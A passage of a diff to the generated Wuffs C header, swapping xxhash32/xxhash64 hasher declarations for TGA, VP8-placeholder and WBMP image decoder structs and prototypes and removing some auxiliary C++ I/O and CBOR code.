wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_xxhash32__hasher__update_u32( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_frame_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_frame( ++ wuffs_tga__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_tga__decoder__frame_dirty_rect( ++ const wuffs_tga__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_xxhash32__hasher__checksum_u32( +- const wuffs_xxhash32__hasher* self); ++wuffs_tga__decoder__num_animation_loops( ++ const wuffs_tga__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_tga__decoder__num_decoded_frame_configs( ++ const wuffs_tga__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_tga__decoder__num_decoded_frames( ++ const wuffs_tga__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__restart_frame( ++ wuffs_tga__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_tga__decoder__set_report_metadata( ++ wuffs_tga__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__tell_me_more( ++ wuffs_tga__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_tga__decoder__workbuf_len( ++ const wuffs_tga__decoder* self); + + #ifdef __cplusplus + } // extern "C" +@@ -12538,7 +13505,7 @@ wuffs_xxhash32__hasher__checksum_u32( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_xxhash32__hasher__struct { ++struct wuffs_tga__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -12549,36 +13516,72 @@ struct wuffs_xxhash32__hasher__struct { + struct { + uint32_t magic; + uint32_t active_coroutine; +- wuffs_base__vtable vtable_for__wuffs_base__hasher_u32; ++ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; + wuffs_base__vtable null_vtable; + +- uint32_t f_length_modulo_u32; +- bool f_length_overflows_u32; +- uint8_t f_padding0; +- uint8_t f_padding1; +- uint8_t f_buf_len; +- uint8_t f_buf_data[16]; +- uint32_t f_v0; +- uint32_t f_v1; +- uint32_t f_v2; +- uint32_t f_v3; ++ uint32_t f_width; ++ uint32_t f_height; ++ uint8_t f_call_sequence; ++ uint8_t f_header_id_length; ++ uint8_t f_header_color_map_type; ++ uint8_t f_header_image_type; ++ uint16_t f_header_color_map_first_entry_index; ++ uint16_t f_header_color_map_length; ++ uint8_t f_header_color_map_entry_size; ++ uint8_t f_header_pixel_depth; ++ uint8_t f_header_image_descriptor; ++ bool f_opaque; ++ uint32_t f_scratch_bytes_per_pixel; ++ uint32_t f_src_bytes_per_pixel; ++ uint32_t f_src_pixfmt; ++ uint64_t f_frame_config_io_position; ++ wuffs_base__pixel_swizzler f_swizzler; ++ ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; + } private_impl; + ++ struct { ++ uint8_t f_dst_palette[1024]; ++ uint8_t f_src_palette[1024]; ++ uint8_t f_scratch[4]; ++ ++ struct { ++ uint32_t v_i; ++ uint64_t scratch; ++ } s_do_decode_image_config; ++ struct { ++ uint64_t v_dst_bytes_per_pixel; ++ uint32_t v_dst_x; ++ uint32_t v_dst_y; ++ uint64_t v_mark; ++ uint32_t v_num_pixels32; ++ uint32_t v_lit_length; ++ uint32_t v_run_length; ++ uint64_t v_num_dst_bytes; ++ uint64_t scratch; ++ } s_do_decode_frame; ++ } private_data; ++ + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_xxhash32__hasher__alloc()); ++ return unique_ptr(wuffs_tga__decoder__alloc()); + } + +- static inline wuffs_base__hasher_u32::unique_ptr +- alloc_as__wuffs_base__hasher_u32() { +- return wuffs_base__hasher_u32::unique_ptr( +- wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32()); ++ static inline wuffs_base__image_decoder::unique_ptr ++ alloc_as__wuffs_base__image_decoder() { ++ return wuffs_base__image_decoder::unique_ptr( ++ wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -12594,10 +13597,10 @@ struct wuffs_xxhash32__hasher__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_xxhash32__hasher__struct() = delete; +- wuffs_xxhash32__hasher__struct(const wuffs_xxhash32__hasher__struct&) = delete; +- wuffs_xxhash32__hasher__struct& operator=( +- const wuffs_xxhash32__hasher__struct&) = delete; ++ wuffs_tga__decoder__struct() = delete; ++ wuffs_tga__decoder__struct(const wuffs_tga__decoder__struct&) = delete; ++ wuffs_tga__decoder__struct& operator=( ++ const wuffs_tga__decoder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -12617,53 +13620,107 @@ struct wuffs_xxhash32__hasher__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_xxhash32__hasher__initialize( ++ return wuffs_tga__decoder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +- inline wuffs_base__hasher_u32* +- upcast_as__wuffs_base__hasher_u32() { +- return (wuffs_base__hasher_u32*)this; ++ inline wuffs_base__image_decoder* ++ upcast_as__wuffs_base__image_decoder() { ++ return (wuffs_base__image_decoder*)this; + } + + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_xxhash32__hasher__get_quirk(this, a_key); ++ return wuffs_tga__decoder__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_xxhash32__hasher__set_quirk(this, a_key, a_value); ++ return wuffs_tga__decoder__set_quirk(this, a_key, a_value); + } + +- inline wuffs_base__empty_struct +- update( +- wuffs_base__slice_u8 a_x) { +- return wuffs_xxhash32__hasher__update(this, a_x); ++ inline wuffs_base__status ++ decode_image_config( ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_tga__decoder__decode_image_config(this, a_dst, a_src); + } + +- inline uint32_t +- update_u32( +- wuffs_base__slice_u8 a_x) { +- return wuffs_xxhash32__hasher__update_u32(this, a_x); ++ inline wuffs_base__status ++ decode_frame_config( ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_tga__decoder__decode_frame_config(this, a_dst, a_src); ++ } ++ ++ inline wuffs_base__status ++ decode_frame( ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ return wuffs_tga__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ } ++ ++ inline wuffs_base__rect_ie_u32 ++ frame_dirty_rect() const { ++ return wuffs_tga__decoder__frame_dirty_rect(this); + } + + inline uint32_t +- checksum_u32() const { +- return wuffs_xxhash32__hasher__checksum_u32(this); ++ num_animation_loops() const { ++ return wuffs_tga__decoder__num_animation_loops(this); ++ } ++ ++ inline uint64_t ++ num_decoded_frame_configs() const { ++ return wuffs_tga__decoder__num_decoded_frame_configs(this); ++ } ++ ++ inline uint64_t ++ num_decoded_frames() const { ++ return wuffs_tga__decoder__num_decoded_frames(this); ++ } ++ ++ inline wuffs_base__status ++ restart_frame( ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ return wuffs_tga__decoder__restart_frame(this, a_index, a_io_position); ++ } ++ ++ inline wuffs_base__empty_struct ++ set_report_metadata( ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_tga__decoder__set_report_metadata(this, a_fourcc, a_report); ++ } ++ ++ inline wuffs_base__status ++ tell_me_more( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_tga__decoder__tell_me_more(this, a_dst, a_minfo, a_src); ++ } ++ ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_tga__decoder__workbuf_len(this); + } + + #endif // __cplusplus +-}; // struct wuffs_xxhash32__hasher__struct ++}; // struct wuffs_tga__decoder__struct + + #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +@@ -12671,7 +13728,7 @@ struct wuffs_xxhash32__hasher__struct { + + // ---------------- Struct Declarations + +-typedef struct wuffs_xxhash64__hasher__struct wuffs_xxhash64__hasher; ++typedef struct wuffs_vp8__placeholder__struct wuffs_vp8__placeholder; + + #ifdef __cplusplus + extern "C" { +@@ -12686,14 +13743,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_xxhash64__hasher__initialize( +- wuffs_xxhash64__hasher* self, ++wuffs_vp8__placeholder__initialize( ++ wuffs_vp8__placeholder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_xxhash64__hasher(void); ++sizeof__wuffs_vp8__placeholder(void); + + // ---------------- Allocs + +@@ -12703,54 +13760,13 @@ sizeof__wuffs_xxhash64__hasher(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_xxhash64__hasher* +-wuffs_xxhash64__hasher__alloc(void); +- +-static inline wuffs_base__hasher_u64* +-wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64(void) { +- return (wuffs_base__hasher_u64*)(wuffs_xxhash64__hasher__alloc()); +-} ++wuffs_vp8__placeholder* ++wuffs_vp8__placeholder__alloc(void); + + // ---------------- Upcasts + +-static inline wuffs_base__hasher_u64* +-wuffs_xxhash64__hasher__upcast_as__wuffs_base__hasher_u64( +- wuffs_xxhash64__hasher* p) { +- return (wuffs_base__hasher_u64*)p; +-} +- + // ---------------- Public Function Prototypes + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__get_quirk( +- const wuffs_xxhash64__hasher* self, +- uint32_t a_key); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_xxhash64__hasher__set_quirk( +- wuffs_xxhash64__hasher* self, +- uint32_t a_key, +- uint64_t a_value); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_xxhash64__hasher__update( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__update_u64( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__checksum_u64( +- const wuffs_xxhash64__hasher* self); +- + #ifdef __cplusplus + } // extern "C" + #endif +@@ -12764,7 +13780,7 @@ wuffs_xxhash64__hasher__checksum_u64( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_xxhash64__hasher__struct { ++struct wuffs_vp8__placeholder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -12775,37 +13791,20 @@ struct wuffs_xxhash64__hasher__struct { + struct { + uint32_t magic; + uint32_t active_coroutine; +- wuffs_base__vtable vtable_for__wuffs_base__hasher_u64; + wuffs_base__vtable null_vtable; + +- uint64_t f_length_modulo_u64; +- bool f_length_overflows_u64; +- uint8_t f_padding0; +- uint8_t f_padding1; +- uint8_t f_padding2; +- uint32_t f_buf_len; +- uint8_t f_buf_data[32]; +- uint64_t f_v0; +- uint64_t f_v1; +- uint64_t f_v2; +- uint64_t f_v3; ++ uint32_t f_placeholder; + } private_impl; + + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_xxhash64__hasher__alloc()); +- } +- +- static inline wuffs_base__hasher_u64::unique_ptr +- alloc_as__wuffs_base__hasher_u64() { +- return wuffs_base__hasher_u64::unique_ptr( +- wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64()); ++ return unique_ptr(wuffs_vp8__placeholder__alloc()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -12821,10 +13820,10 @@ struct wuffs_xxhash64__hasher__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_xxhash64__hasher__struct() = delete; +- wuffs_xxhash64__hasher__struct(const wuffs_xxhash64__hasher__struct&) = delete; +- wuffs_xxhash64__hasher__struct& operator=( +- const wuffs_xxhash64__hasher__struct&) = delete; ++ wuffs_vp8__placeholder__struct() = delete; ++ wuffs_vp8__placeholder__struct(const wuffs_vp8__placeholder__struct&) = delete; ++ wuffs_vp8__placeholder__struct& operator=( ++ const wuffs_vp8__placeholder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -12844,9372 +13843,9377 @@ struct wuffs_xxhash64__hasher__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_xxhash64__hasher__initialize( ++ return wuffs_vp8__placeholder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +- inline wuffs_base__hasher_u64* +- upcast_as__wuffs_base__hasher_u64() { +- return (wuffs_base__hasher_u64*)this; +- } ++#endif // __cplusplus ++}; // struct wuffs_vp8__placeholder__struct + +- inline uint64_t +- get_quirk( +- uint32_t a_key) const { +- return wuffs_xxhash64__hasher__get_quirk(this, a_key); +- } ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- inline wuffs_base__status +- set_quirk( +- uint32_t a_key, +- uint64_t a_value) { +- return wuffs_xxhash64__hasher__set_quirk(this, a_key, a_value); +- } ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) || defined(WUFFS_NONMONOLITHIC) + +- inline wuffs_base__empty_struct +- update( +- wuffs_base__slice_u8 a_x) { +- return wuffs_xxhash64__hasher__update(this, a_x); +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) + +- inline uint64_t +- update_u64( +- wuffs_base__slice_u8 a_x) { +- return wuffs_xxhash64__hasher__update_u64(this, a_x); +- } ++// ---------------- Status Codes + +- inline uint64_t +- checksum_u64() const { +- return wuffs_xxhash64__hasher__checksum_u64(this); +- } ++extern const char wuffs_wbmp__error__bad_header[]; ++extern const char wuffs_wbmp__error__truncated_input[]; + +-#endif // __cplusplus +-}; // struct wuffs_xxhash64__hasher__struct ++// ---------------- Public Consts + +-#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++#define WUFFS_WBMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) ++// ---------------- Struct Declarations + +-#if defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++typedef struct wuffs_wbmp__decoder__struct wuffs_wbmp__decoder; + +-// ---------------- Auxiliary - Base ++#ifdef __cplusplus ++extern "C" { ++#endif + +-// Auxiliary code is discussed at +-// https://github.com/google/wuffs/blob/main/doc/note/auxiliary-code.md ++// ---------------- Public Initializer Prototypes + +-#include ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + +-#include ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_wbmp__decoder__initialize( ++ wuffs_wbmp__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); + +-namespace wuffs_aux { ++size_t ++sizeof__wuffs_wbmp__decoder(void); + +-using IOBuffer = wuffs_base__io_buffer; ++// ---------------- Allocs + +-// MemOwner represents ownership of some memory. Dynamically allocated memory +-// (e.g. from malloc or new) is typically paired with free or delete, invoked +-// when the std::unique_ptr is destroyed. Statically allocated memory might use +-// MemOwner(nullptr, &free), even if that statically allocated memory is not +-// nullptr, since calling free(nullptr) is a no-op. +-using MemOwner = std::unique_ptr; ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. + +-namespace sync_io { ++wuffs_wbmp__decoder* ++wuffs_wbmp__decoder__alloc(void); + +-// -------- ++static inline wuffs_base__image_decoder* ++wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_wbmp__decoder__alloc()); ++} + +-// DynIOBuffer is an IOBuffer that is backed by a dynamically sized byte array. +-// It owns that backing array and will free it in its destructor. +-// +-// The array size can be explicitly extended (by calling the grow method) but, +-// unlike a C++ std::vector, there is no implicit extension (e.g. by calling +-// std::vector::insert) and its maximum size is capped by the max_incl +-// constructor argument. +-// +-// It contains an IOBuffer-typed field whose reader side provides access to +-// previously written bytes and whose writer side provides access to the +-// allocated but not-yet-written-to slack space. For Go programmers, this slack +-// space is roughly analogous to the s[len(s):cap(s)] space of a slice s. +-class DynIOBuffer { +- public: +- enum GrowResult { +- OK = 0, +- FailedMaxInclExceeded = 1, +- FailedOutOfMemory = 2, +- }; ++// ---------------- Upcasts + +- // m_buf holds the dynamically sized byte array and its read/write indexes: +- // - m_buf.meta.wi is roughly analogous to a Go slice's length. +- // - m_buf.data.len is roughly analogous to a Go slice's capacity. It is +- // also equal to the m_buf.data.ptr malloc/realloc size. +- // +- // Users should not modify the m_buf.data.ptr or m_buf.data.len fields (as +- // they are conceptually private to this class), but they can modify the +- // bytes referenced by that pointer-length pair (e.g. compactions). +- IOBuffer m_buf; ++static inline wuffs_base__image_decoder* ++wuffs_wbmp__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_wbmp__decoder* p) { ++ return (wuffs_base__image_decoder*)p; ++} + +- // m_max_incl is an inclusive upper bound on the backing array size. +- const uint64_t m_max_incl; ++// ---------------- Public Function Prototypes + +- // Constructor and destructor. +- explicit DynIOBuffer(uint64_t max_incl); +- ~DynIOBuffer(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_wbmp__decoder__get_quirk( ++ const wuffs_wbmp__decoder* self, ++ uint32_t a_key); + +- // Drop frees the byte array and resets m_buf. The DynIOBuffer can still be +- // used after a drop call. It just restarts from zero. +- void drop(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__set_quirk( ++ wuffs_wbmp__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value); + +- // grow ensures that the byte array size is at least min_incl and at most +- // max_incl. It returns FailedMaxInclExceeded if that would require +- // allocating more than max_incl bytes, including the case where (min_incl > +- // max_incl). It returns FailedOutOfMemory if memory allocation failed. +- GrowResult grow(uint64_t min_incl); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__decode_image_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- private: +- // Delete the copy and assign constructors. +- DynIOBuffer(const DynIOBuffer&) = delete; +- DynIOBuffer& operator=(const DynIOBuffer&) = delete; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__decode_frame_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- static uint64_t round_up(uint64_t min_incl, uint64_t max_incl); +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__decode_frame( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); + +-// -------- ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_wbmp__decoder__frame_dirty_rect( ++ const wuffs_wbmp__decoder* self); + +-class Input { +- public: +- virtual ~Input(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_wbmp__decoder__num_animation_loops( ++ const wuffs_wbmp__decoder* self); + +- virtual IOBuffer* BringsItsOwnIOBuffer(); +- virtual std::string CopyIn(IOBuffer* dst, uint64_t history_retain_length) = 0; +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_wbmp__decoder__num_decoded_frame_configs( ++ const wuffs_wbmp__decoder* self); + +-// -------- ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_wbmp__decoder__num_decoded_frames( ++ const wuffs_wbmp__decoder* self); + +-// FileInput is an Input that reads from a file source. +-// +-// It does not take responsibility for closing the file when done. +-class FileInput : public Input { +- public: +- FileInput(FILE* f); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__restart_frame( ++ wuffs_wbmp__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position); + +- virtual std::string CopyIn(IOBuffer* dst, uint64_t history_retain_length); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_wbmp__decoder__set_report_metadata( ++ wuffs_wbmp__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report); + +- private: +- FILE* m_f; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__tell_me_more( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); + +- // Delete the copy and assign constructors. +- FileInput(const FileInput&) = delete; +- FileInput& operator=(const FileInput&) = delete; +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_wbmp__decoder__workbuf_len( ++ const wuffs_wbmp__decoder* self); + +-// -------- ++#ifdef __cplusplus ++} // extern "C" ++#endif + +-// MemoryInput is an Input that reads from an in-memory source. ++// ---------------- Struct Definitions ++ ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. + // +-// It does not take responsibility for freeing the memory when done. +-class MemoryInput : public Input { +- public: +- MemoryInput(const char* ptr, size_t len); +- MemoryInput(const uint8_t* ptr, size_t len); ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C + +- virtual IOBuffer* BringsItsOwnIOBuffer(); +- virtual std::string CopyIn(IOBuffer* dst, uint64_t history_retain_length); ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- private: +- IOBuffer m_io; ++struct wuffs_wbmp__decoder__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. + +- // Delete the copy and assign constructors. +- MemoryInput(const MemoryInput&) = delete; +- MemoryInput& operator=(const MemoryInput&) = delete; +-}; ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; ++ wuffs_base__vtable null_vtable; + +-// -------- ++ uint32_t f_width; ++ uint32_t f_height; ++ uint8_t f_call_sequence; ++ uint64_t f_frame_config_io_position; ++ wuffs_base__pixel_swizzler f_swizzler; + +-} // namespace sync_io ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ } private_impl; + +-} // namespace wuffs_aux ++ struct { ++ struct { ++ uint32_t v_i; ++ uint32_t v_p; ++ } s_do_decode_image_config; ++ struct { ++ uint64_t v_dst_bytes_per_pixel; ++ uint32_t v_dst_x; ++ uint32_t v_dst_y; ++ uint8_t v_src[1]; ++ uint8_t v_c8; ++ } s_do_decode_frame; ++ } private_data; + +-// ---------------- Auxiliary - CBOR ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; + +-namespace wuffs_aux { ++ // On failure, the alloc_etc functions return nullptr. They don't throw. + +-struct DecodeCborResult { +- DecodeCborResult(std::string&& error_message0, uint64_t cursor_position0); ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_wbmp__decoder__alloc()); ++ } + +- std::string error_message; +- uint64_t cursor_position; +-}; ++ static inline wuffs_base__image_decoder::unique_ptr ++ alloc_as__wuffs_base__image_decoder() { ++ return wuffs_base__image_decoder::unique_ptr( ++ wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder()); ++ } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +-class DecodeCborCallbacks { +- public: +- virtual ~DecodeCborCallbacks(); ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // 